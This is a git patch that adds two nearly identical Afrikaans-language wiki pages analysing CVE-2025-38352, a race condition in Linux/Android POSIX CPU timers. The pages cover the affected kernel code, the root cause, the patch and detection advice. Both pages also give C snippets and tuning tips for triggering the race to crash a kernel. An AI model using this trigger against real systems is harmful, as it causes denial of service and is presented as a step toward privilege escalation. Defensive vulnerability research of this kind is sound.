From 6921a8ac3c8c42c61df87acbce9ce7dcf3658278 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:43:22 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 ++++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 ++++++++++++++++++ 3 files changed, 392 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..adaab6c7c --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Hierdie bladsy dokumenteer 'n TOCTOU race condition in Linux/Android POSIX CPU timers wat timer-status kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word. + +- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c +- Primitiief: expiry vs deletion race onder task exit +- Konfigurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Kort interne oorsig (relevant vir exploitation) +- Drie CPU-klokke dryf die boekhouding vir timers via cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- Timer-creation verbind 'n timer aan 'n task/pid en initialiseer die timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Aktivering plaas inskrywings in 'n per-base timerqueue en kan die next-expiry cache bywerk: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Vinnige pad vermy duur verwerking tensy gekashe vervaltye moontlike afvuur aandui: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Verstryking versamel verstrykte timers, merk hulle as afgevuur, skuif hulle van die tou af; werklike aflewering word uitgestel: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Twee modusse vir die hantering van verval +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: die verval word uitgestel via task_work op die teiken-taak +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: die verval word direk in die IRQ-konteks hanteer +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +In die IRQ-context path word die firing list buite die sighand verwerk. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- Die teiken taak is aan die uitstap maar nog nie volledig opgeraap nie +- Nog 'n thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer + +Sequence +1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die uitgaande taak. +2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list. +3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock te lewer. +4) Onmiddellik na die unlock kan die uitgaande taak opgeraap word; 'n suster-thread voer posix_cpu_timer_del() uit. +5) In hierdie venster kan posix_cpu_timer_del() dalk misluk om state via cpu_timer_task_rcu()/lock_task_sighand() te verkry en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrup maak terwyl verstryking hanteer word, wat tot crashes/UB lei. + +Why TASK_WORK mode is safe by design +- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-time oorvleueling met opraaiproses gebeur nie. +- Selfs dan, as die taak reeds aan die uitstap is, faal task_work_add(); gating op exit_state maak beide modi konsekwent. + +Fix (Android common kernel) and rationale +- Voeg 'n vroeë return by indien die current task aan die uitstap is, en gate alle verwerking: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Dit verhoed dat handle_posix_cpu_timers() vir take wat op die punt staan om te verlaat betree word, en elimineer die venster waarin posix_cpu_timer_del() it.cpu.firing kon mis en met expiry-verwerking kon meeding. + +Impak +- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Verseker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix. + +Runtime strategy +- Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU timer daaraan vas (per-thread or process-wide clock): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Stel dit in met 'n baie kort aanvanklike expiration en 'n klein interval om IRQ-path entries te maksimeer: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Van 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Wedloop-versterkers: hoë scheduler-tiktempo, hoë CPU-lading, herhaalde thread-afsluiting/hernuwingsiklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() die afvuur nie opmerk nie weens 'n mislukte taak-opsoek/locking direk ná unlock_task_sighand(). + +Detection and hardening +- Mitigasie: pas die exit_state-bewaker toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK in te skakel waar moontlik. +- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); let op timerqueue-inkonsekwenthede rondom taak-afsluiting. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap + +Notes for exploitation research +- Die geopenbaarde gedrag is 'n betroubare kernel crash-primitive; om dit in privilege escalation te omskep benodig tipies 'n bykomende beheerbare oorvleueling (object lifetime of write-what-where invloed) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabilisend en voer dit slegs in emulators/VMs uit. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..056eaabaf --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Hierdie bladsy dokumenteer 'n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gerig kan word. + +- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c +- Primitiwiteit: verval vs verwydering wedloop tydens taak-afsluiting +- Konfigurasie-afhanklik: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Kort interne samevatting (relevant for exploitation) +- Drie CPU-klokke dryf rekeninghouing vir timers via cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- Timer-skepping koppel 'n timer aan 'n taak/pid en initialiseer die timerqueue nodes: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Armering voeg items in 'n per-base timerqueue in en kan die next-expiry cache bywerk: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- Vinnige pad vermy duur verwerking tensy gekasde vervaltye moontlike afgaan aandui: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Verval versamel vervalde timers, merk hulle as afgegaan, skuif hulle van die wagry af; werklike aflewering word uitgestel: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Twee wyses van vervalverwerking +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word via task_work op die teikentaak uitgestel +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +In die IRQ-context path, word die firing list buite sighand verwerk. +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Hoof oorsaak: TOCTOU tussen IRQ-time verstryking en gesamentlike verwydering tydens taak-uitgang +Voorwaardes +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- Die teiken-taak is besig om te verlaat maar nog nie volledig gereap nie +- 'n Ander thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer + +Volgorde +1) update_process_times() spoor run_posix_cpu_timers() aan in IRQ-konteks vir die taak wat beëindig word. +2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list. +3) handle_posix_cpu_timers() laat sighand val via unlock_task_sighand() om timers buite die slot af te lewer. +4) Onmiddellik na unlock kan die uitgaande taak gereap word; 'n ander thread voer posix_cpu_timer_del() uit. +5) In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, korrupteer state terwyl verstryking hanteer word, wat tot crashes/UB lei. + +Hoekom TASK_WORK-modus per ontwerp veilig is +- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-tyd oorvleueling met reaping gebeur nie. +- Selfs dan, as die taak reeds aan die uitgang is, faal task_work_add(); deur op exit_state te kontroleer maak dit beide modi konsekwent. + +Regstelling (Android common kernel) en motivering +- Voeg 'n vroeë return by indien current taak aan die verlaat is, en beperk sodoende alle verwerking: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Dit voorkom dat handle_posix_cpu_timers() vir take wat uitgaan binnegegaan word, en verwyder die venster waar posix_cpu_timer_del() dit kon mis: it.cpu.firing en in 'n wedloop met verstrykingverwerking. + +Impact +- Kerngeheue-beskadiging van timer-strukture tydens gesamentlike verstryking/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is 'n sterk primitief vir privilege escalation weens die moontlikhede vir arbitraire manipulering van kernel-state. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Maak seker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix. + +Runtime strategy +- Rig op 'n thread wat op die punt is om te verlaat en heg 'n CPU timer daaraan aan (per-thread or process-wide clock): +- Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Armeer met 'n baie kort aanvanklike verstryking en 'n klein interval om IRQ-path entries te maksimeer: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Vanaf 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Wedloopversterkers: hoë scheduler-tiktempo, CPU-lading, herhaalde thread exit/re-create siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om firing te opmerk weens mislukte taak-opsoek/-locking direk ná unlock_task_sighand(). + +Opsporing en verharding +- Mitigasie: pas die exit_state-beskerming toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK te aktiveer waar dit uitvoerbaar is. +- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 saam met mislukte cpu_timer_task_rcu()/lock_task_sighand() waargeneem word; kyk vir timerqueue-ongeregeldhede rondom taak-uitgang. + +Audit-hotspots (vir hersieners) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Aantekeninge vir exploitation-navorsing +- Die openbaargemaakte gedrag is ’n betroubare kernel crash primitive; om dit in privilege escalation te omskep benodig gewoonlik ’n addisionele beheerbare oorvleueling (object lifetime of write-what-where influence) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabiliserend en voer slegs in emulators/VMs uit. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}